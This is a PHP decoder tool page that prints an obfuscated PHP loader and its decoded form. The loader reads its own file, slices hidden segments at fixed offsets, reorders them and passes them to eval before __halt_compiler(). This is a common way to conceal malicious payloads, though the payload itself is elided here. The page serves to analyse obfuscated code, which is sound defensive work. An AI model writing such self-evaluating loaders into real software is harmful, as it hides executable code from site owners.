Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $d2395b = file_get_contents(__FILE__); function udc8bf($a) { return substr(..

Decoded Output download

<?php 
$d2395b = file_get_contents(__FILE__); 
 
function udc8bf($a) { 
    return substr($a, strlen($a)/2) . substr($a, 0, strlen($a)/2); 
} 
 
function kb4f53($a, $b = false) { 
    $l = array(1378, 152, 32, 2996); 
    if ($b === "C") { 
        return udc8bf(substr($a, $l[0], $l[1])); 
    } else if ($b === "H") { 
        return udc8bf(substr($a, $l[0] + $l[1], $l[2])); 
    } else { 
        return udc8bf(substr($a, $l[0] + $l[1] + $l[2], $l[3])); 
    } 
    return false; 
} 
 
eval(udc8bf("...")); 
eval(kb4f53($d2395b, "C")); 
eval(kb4f53($d2395b, "H")); 
 
                ?>

Did this file decode correctly?

Original Code

<?php
$d2395b = file_get_contents(__FILE__);

function udc8bf($a) {
    return substr($a, strlen($a)/2) . substr($a, 0, strlen($a)/2);
}

function kb4f53($a, $b = false) {
    $l = array(1378, 152, 32, 2996);
    if ($b === "C") {
        return udc8bf(substr($a, $l[0], $l[1]));
    } else if ($b === "H") {
        return udc8bf(substr($a, $l[0] + $l[1], $l[2]));
    } else {
        return udc8bf(substr($a, $l[0] + $l[1] + $l[2], $l[3]));
    }
    return false;
}

eval(udc8bf("..."));
eval(kb4f53($d2395b, "C"));
eval(kb4f53($d2395b, "H"));

__halt_compiler();

Function Calls

strlen 2
substr 2
udc8bf 1
file_get_contents 1

Variables

$a ...
$d2395b

Stats

MD5 5c683fb4d4ce6e51ce7e601878c0e0ac
Eval Count 1
Decode Time 69 ms